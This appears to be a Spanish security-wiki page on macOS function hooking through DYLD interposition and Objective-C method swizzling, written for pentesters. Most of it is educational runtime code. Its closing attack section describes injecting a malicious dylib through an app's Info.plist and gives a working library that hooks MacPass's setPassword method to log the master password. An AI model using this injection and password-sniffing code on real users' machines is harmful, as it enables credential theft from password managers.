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# Hooking de funciones en macOS
2023-06-05 18:30:03 +00:00
<details>
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</details>
## Interposición de funciones
2023-06-05 18:30:03 +00:00
Crea una **dylib** con una sección **`__interpose`** (o una sección marcada con **`S_INTERPOSING`**) que contenga tuplas de **punteros a funciones** que se refieran a las funciones **originales** y a las funciones **de reemplazo**.
Luego, **inyecta** la dylib con **`DYLD_INSERT_LIBRARIES`** (la interposición debe ocurrir antes de que la aplicación principal se cargue). Obviamente, las [**restricciones** aplicadas al uso de **`DYLD_INSERT_LIBRARIES`** también se aplican aquí](../macos-proces-abuse/macos-library-injection/#check-restrictions).&#x20;
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### Interponer printf
{% tabs %}
{% tab title="interpose.c" %}
{% code title="interpose.c" %}
```c
// gcc -dynamiclib interpose.c -o interpose.dylib
#include <stdio.h>
#include <stdarg.h>
int my_printf(const char *format, ...) {
//va_list args;
//va_start(args, format);
//int ret = vprintf(format, args);
//va_end(args);
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int ret = printf("Hello from interpose\n");
return ret;
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}
__attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf
__attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf };
```
{% tab title="hello.c" %}
```c
//gcc hello.c -o hello
#include <stdio.h>
2023-06-05 18:30:03 +00:00
int main() {
printf("Hello World!\n");
return 0;
}
```
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```c
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
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typedef int (*orig_open_type)(const char *pathname, int flags);
typedef FILE *(*orig_fopen_type)(const char *pathname, const char *mode);
int open(const char *pathname, int flags) {
orig_open_type orig_open;
orig_open = (orig_open_type)dlsym(RTLD_NEXT, "open");
printf("Opening file: %s\n", pathname);
return orig_open(pathname, flags);
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}
FILE *fopen(const char *pathname, const char *mode) {
orig_fopen_type orig_fopen;
orig_fopen = (orig_fopen_type)dlsym(RTLD_NEXT, "fopen");
printf("Opening file: %s\n", pathname);
return orig_fopen(pathname, mode);
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}
```
Este es un ejemplo de código en C que muestra cómo realizar el hooking de funciones en macOS. El código utiliza la función `dlsym` de la biblioteca `dlfcn.h` para obtener un puntero a la función original que se va a interponer. Luego, se imprime un mensaje indicando que se está abriendo un archivo y se llama a la función original utilizando el puntero obtenido.
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En el caso de la función `open`, se define un tipo de puntero a función `orig_open_type` que toma los mismos argumentos y devuelve el mismo tipo de valor que la función original. Se declara una variable `orig_open` de este tipo y se le asigna el valor obtenido mediante `dlsym`. Luego, se imprime el nombre del archivo que se está abriendo y se llama a la función original utilizando el puntero `orig_open`.
En el caso de la función `fopen`, se sigue el mismo proceso que en el caso de `open`, pero utilizando un tipo de puntero a función `orig_fopen_type` y una variable `orig_fopen`.
Este código puede ser compilado como una biblioteca compartida y cargado en un proceso en ejecución utilizando la variable de entorno `DYLD_INSERT_LIBRARIES`. Una vez cargado, el código interpondrá las funciones `open` y `fopen`, imprimiendo un mensaje cada vez que se llamen. Esto puede ser útil para realizar análisis de comportamiento de aplicaciones o para realizar modificaciones en tiempo de ejecución.
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```c
// Just another way to define an interpose
// gcc -dynamiclib interpose2.c -o interpose2.dylib
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#include <stdio.h>
#define DYLD_INTERPOSE(_replacement, _replacee) \
__attribute__((used)) static struct { \
const void* replacement; \
const void* replacee; \
} _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \
(const void*) (unsigned long) &_replacement, \
(const void*) (unsigned long) &_replacee \
};
int my_printf(const char *format, ...)
{
int ret = printf("Hello from interpose\n");
return ret;
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}
DYLD_INTERPOSE(my_printf,printf);
2023-06-05 18:30:03 +00:00
```
{% endtab %}
{% endtabs %}
```bash
DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello
Hello from interpose
DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello
Hello from interpose
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```
## Método Swizzling
En ObjectiveC, así es como se llama a un método: **`[instanciaDeMiClase nombreDelMetodoPrimerParam:param1 segundoParam:param2]`**
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Se necesita el **objeto**, el **método** y los **parámetros**. Y cuando se llama a un método, se envía un **mensaje** utilizando la función **`objc_msgSend`**: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
El objeto es **`someObject`**, el método es **`@selector(method1p1:p2:)`** y los argumentos son **value1**, **value2**.
Siguiendo las estructuras de objetos, es posible llegar a una **matriz de métodos** donde se encuentran los **nombres** y **punteros** al código del método.
2023-06-05 18:30:03 +00:00
{% hint style="danger" %}
Ten en cuenta que debido a que los métodos y las clases se acceden en función de sus nombres, esta información se almacena en el binario, por lo que es posible recuperarla con `otool -ov </ruta/bin>` o [`class-dump </ruta/bin>`](https://github.com/nygard/class-dump)
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{% endhint %}
### Accediendo a los métodos en bruto
Es posible acceder a la información de los métodos, como el nombre, el número de parámetros o la dirección, como en el siguiente ejemplo:
```objectivec
// gcc -framework Foundation test.m -o test
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>
int main() {
// Get class of the variable
NSString* str = @"This is an example";
Class strClass = [str class];
NSLog(@"str's Class name: %s", class_getName(strClass));
// Get parent class of a class
Class strSuper = class_getSuperclass(strClass);
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));
// Get information about a method
SEL sel = @selector(length);
NSLog(@"Selector name: %@", NSStringFromSelector(sel));
Method m = class_getInstanceMethod(strClass,sel);
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));
// Iterate through the class hierarchy
NSLog(@"Listing methods:");
Class currentClass = strClass;
while (currentClass != NULL) {
unsigned int inheritedMethodCount = 0;
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);
NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);
for (unsigned int i = 0; i < inheritedMethodCount; i++) {
Method method = inheritedMethods[i];
SEL selector = method_getName(method);
const char* methodName = sel_getName(selector);
unsigned long address = (unsigned long)method_getImplementation(m);
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
}
// Free the memory allocated by class_copyMethodList
free(inheritedMethods);
currentClass = class_getSuperclass(currentClass);
}
// Other ways to call uppercaseString method
if([str respondsToSelector:@selector(uppercaseString)]) {
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
NSLog(@"Uppercase string: %@", uppercaseString);
}
// Using objc_msgSend directly
NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
NSLog(@"Uppercase string: %@", uppercaseString2);
// Calling the address directly
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
NSLog(@"Uppercase string: %@", uppercaseString3);
return 0;
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}
```
### Método Swizzling con method\_exchangeImplementations
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La función **`method_exchangeImplementations`** permite **cambiar** la **dirección** de la **implementación** de una función por la de otra.
{% hint style="danger" %}
Por lo tanto, cuando se llama a una función, lo que se **ejecuta es la otra**.
{% endhint %}
2023-06-05 18:30:03 +00:00
```objectivec
//gcc -framework Foundation swizzle_str.m -o swizzle_str
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
// Create a new category for NSString with the method to execute
@interface NSString (SwizzleString)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;
@end
@implementation NSString (SwizzleString)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");
// Call the original method
return [self swizzledSubstringFromIndex:from];
2023-06-05 18:30:03 +00:00
}
@end
int main(int argc, const char * argv[]) {
// Perform method swizzling
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
method_exchangeImplementations(originalMethod, swizzledMethod);
// We changed the address of one method for the other
// Now when the method substringFromIndex is called, what is really coode is swizzledSubstringFromIndex
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled
// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);
return 0;
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}
```
{% hint style="warning" %}
En este caso, si el **código de implementación del método legítimo** verifica el **nombre del método**, podría **detectar** este intercambio de métodos y evitar que se ejecute.
La siguiente técnica no tiene esta restricción.
{% endhint %}
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### Intercepción de métodos con method\_setImplementation
2023-06-05 18:30:03 +00:00
El formato anterior es extraño porque estás cambiando la implementación de 2 métodos uno por el otro. Usando la función **`method_setImplementation`**, puedes **cambiar** la **implementación** de un **método por otro**.
Solo recuerda **almacenar la dirección de la implementación del original** si vas a llamarlo desde la nueva implementación antes de sobrescribirlo, ya que luego será mucho más complicado localizar esa dirección.
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```objectivec
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>
static IMP original_substringFromIndex = NULL;
@interface NSString (Swizzlestring)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;
@end
@implementation NSString (Swizzlestring)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");
// Call the original implementation using objc_msgSendSuper
return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
2023-06-05 18:30:03 +00:00
}
@end
int main(int argc, const char * argv[]) {
@autoreleasepool {
// Get the class of the target method
Class stringClass = [NSString class];
// Get the swizzled and original methods
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));
// Get the function pointer to the swizzled method's implementation
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));
// Swap the implementations
// It return the now overwritten implementation of the original method to store it
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);
// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);
// Set the original implementation back
method_setImplementation(originalMethod, original_substringFromIndex);
return 0;
}
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}
```
## Metodología de Ataque de Hooking
En esta página se discuten diferentes formas de enganchar funciones. Sin embargo, todas ellas implican **ejecutar código dentro del proceso para atacar**.
2023-06-05 18:30:03 +00:00
La técnica más sencilla para lograr esto es inyectar un [Dyld a través de variables de entorno o secuestro](../macos-dyld-hijacking-and-dyld\_insert\_libraries.md). Sin embargo, supongo que también se podría hacer mediante [inyección de proceso Dylib](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port).
2023-06-05 18:30:03 +00:00
Ambas opciones están **limitadas** a binarios/procesos **no protegidos**. Consulta cada técnica para obtener más información sobre las limitaciones.
2023-06-05 18:30:03 +00:00
Sin embargo, un ataque de enganche de funciones es muy específico, un atacante lo haría para **robar información sensible desde dentro de un proceso** (si no, simplemente se haría un ataque de inyección de proceso). Y esta información sensible podría estar ubicada en aplicaciones descargadas por el usuario, como MacPass.
2023-06-05 18:30:03 +00:00
Por lo tanto, el vector de ataque sería encontrar una vulnerabilidad o eliminar la firma de la aplicación, e inyectar la variable de entorno **`DYLD_INSERT_LIBRARIES`** a través del archivo Info.plist de la aplicación, agregando algo como:
2023-06-05 18:30:03 +00:00
```xml
<key>LSEnvironment</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/Applications/Application.app/Contents/malicious.dylib</string>
2023-06-05 18:30:03 +00:00
</dict>
```
y luego **vuelva a registrar** la aplicación:
{% code overflow="wrap" %}
```bash
/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app
```
{% endcode %}
Agrega en esa biblioteca el código de hooking para exfiltrar la información: contraseñas, mensajes...
2023-06-05 18:30:03 +00:00
{% hint style="danger" %}
Ten en cuenta que en las versiones más recientes de macOS, si **eliminas la firma** del binario de la aplicación y esta se ejecutó previamente, macOS **ya no ejecutará la aplicación**.
{% endhint %}
#### Ejemplo de biblioteca
```objectivec
// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib
// If you added env vars in the Info.plist don't forget to call lsregister as explained before
// Listen to the logs with something like:
// log stream --style syslog --predicate 'eventMessage CONTAINS[c] "Password"'
#include <Foundation/Foundation.h>
#import <objc/runtime.h>
// Here will be stored the real method (setPassword in this case) address
static IMP real_setPassword = NULL;
static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL)
{
// Function that will log the password and call the original setPassword(pass, file_path) method
NSLog(@"[+] Password is: %@", password);
// After logging the password call the original method so nothing breaks.
return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL);
}
// Library constructor to execute
__attribute__((constructor))
static void customConstructor(int argc, const char **argv) {
// Get the real method address to not lose it
Class classMPDocument = NSClassFromString(@"MPDocument");
Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));
// Make the original method setPassword call the fake implementation one
IMP fake_IMP = (IMP)custom_setPassword;
real_setPassword = method_setImplementation(real_Method, fake_IMP);
}
```
2023-06-05 18:30:03 +00:00
## Referencias
* [https://nshipster.com/method-swizzling/](https://nshipster.com/method-swizzling/)
<details>
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